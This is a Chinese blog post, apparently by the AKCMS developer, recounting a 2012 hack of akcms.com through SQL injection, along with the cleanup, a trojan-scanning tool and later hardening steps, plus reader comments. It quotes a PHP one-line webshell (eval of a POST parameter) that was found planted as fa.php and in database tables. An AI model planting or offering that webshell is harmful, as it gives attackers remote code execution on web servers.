20120926网站被黑备忘录

问题的产生:

akcms.com主站在2012年09月21日被黑客注入攻击,黑客做了以下的事情:

1 修改了后台的密码
2 污染了6个模版
3 上传了一个一句话木马fa.php(<?eval($_POST[cmd]);?>),利用它又上传了更大的木马
4 上传了3张奇怪的jpeg,这种行为不用看jpeg内容可以确定99%是木马,但仔细查看jpeg的内容未发现木马的特征
5 上传了4张gif图片,QQ表情中那个捂着嘴笑的,插入了攻击代码,确实是木马
6 删除了AKCMS记录下来的SQL执行日志和后台访问日志等
7 通过Apache日志看,有两次网马的访问返回内容特别大(几百KB),应该是下载了什么东西,但具体下载了什么还不确定
8 在数据库中插入了两个恶意的表,内容也是一句话木马:<? php eval($_POST[cmd]);?>,不过这东西怎么用我还没琢磨出来,可能是攻击的中间产物?

早期记录有三个主要的IP地址:211.22.126.13、220.178.87.50、211.22.126.59,从访问记录来看攻击行为,应该是同一个人。

问题被发现:

2012年9月26日在一次测试中发现无法一键升级。检查后发现原因是主站负责升级的模版被修改,意识到主站被攻击了。

问题的解决:

首先找AKCMS记下的SQL日志,发现相关日期的日志被删除了。无奈通过Apache日志,找异常的GET请求,找到最初一次攻击的入口,是akcms_search.php,对要搜索的内容过滤不严。然后通过grep POST找到上传的网马。通过后台访问日志,找到了被修改的一些模版,创建的小马。

站点目录下上千个文件无法一一排查,就写了一个程序叫“AK网站卫士”,扫描站点下的所有可能是木马的文件,然后根据是木马的可能性将确定是木马的和危险的,按照从高到低的顺序排列,依次是:Trojans(木马)、Danger(危险)、Doubt(疑似)、Notice(提醒)

用这个程序将可能是木马的文件都扫了出来,然后人肉验证,逐个删除。

问题的启示:

问题虽然暂时解决了,但是只要漏洞还没解决,黑客就可能再次光临。所以基于这次攻击的分析,增加了以下几项安全措施:

1 在AKCMS的所有前端接口的入口处检查输入参数,将正常请求不会用到但攻击中可能用到的字符串过了过滤,如果输入的参数是id、sid、或者含有id,则做更加严格的验证,只能包含字母数字。按照我的想法:攻击会在这一步就被挡住了。

2 忘记做处理的参数处理之。

3 在执行SQL语句的时候如果SELECT、DELETE开头的SQL语句中再含有可执行的SQL语句的主动词(SELECT、UPDATE、DELETE)等,停止执行SQL语句,并记录到日志中。这也意味着,AKCMS无法执行SQL的子查询,不过没有关系,AKCMS从性能考虑本来也不用子查询或者复杂的多表联查。

4 原来的SQL语句出错之后,给出错误的SQL语句,这是从我的老东家Discuz!那儿学来的。现在看来这种行为太脑残了,一点多余的信息都不该给用户知道,首先用户看不懂SQL语句,其次攻击者就藏在用户之中。现在修改为出错之后就把错误的SQL语句记录下来,但并不告诉用户太具体的信息。

5 接下来打算把网站卫士以插件的形式集成到AKCMS中,可以定时扫描文件,并将结果通过多种方式(微博私信、邮件等)报告给站长。这一项暂时还没做到,因为AKCMS现在还不支持较复杂的插件,只有一个简单的模版插件机制。

6 形成备份机制,每天将数据库、文件、日志等做异地备份

 评论
  在百度搜索到可能是这次攻击的漏洞:http://www.wooyun.org/bugs/wooyun-2010-012800

  改行吧,老乡! 呵呵,多年不见,你还坚持!

  请问哪里有 AK网站卫士 下载?

  哥们你是写php的么?这句话看不懂 <? php eval($_POST[cmd]);?>,

  这些黑客真是吃了没事做呀。

  你这博客现在还是有问题 评论的最上面一条是: Parse error: syntax error, unexpected ';' in /home/akcms/lishi.akcms.com/akcms/include/common.func.php(1198) : eval()'d code on line 1
回复:谢谢提醒,我忘了用新的标签替换这个老模版中的写法了。

  SQL不是用参数化查询的吗?如何被注入?用其它方式改了PHP代码?
回复:某一个接口少过滤了一个参数

  从亿万的log中翻出攻击者的那几条,并且分析出他的攻击手段,其实也是很繁琐的,馒头辛苦了。
回复:不辛苦
 发表评论
姓   名: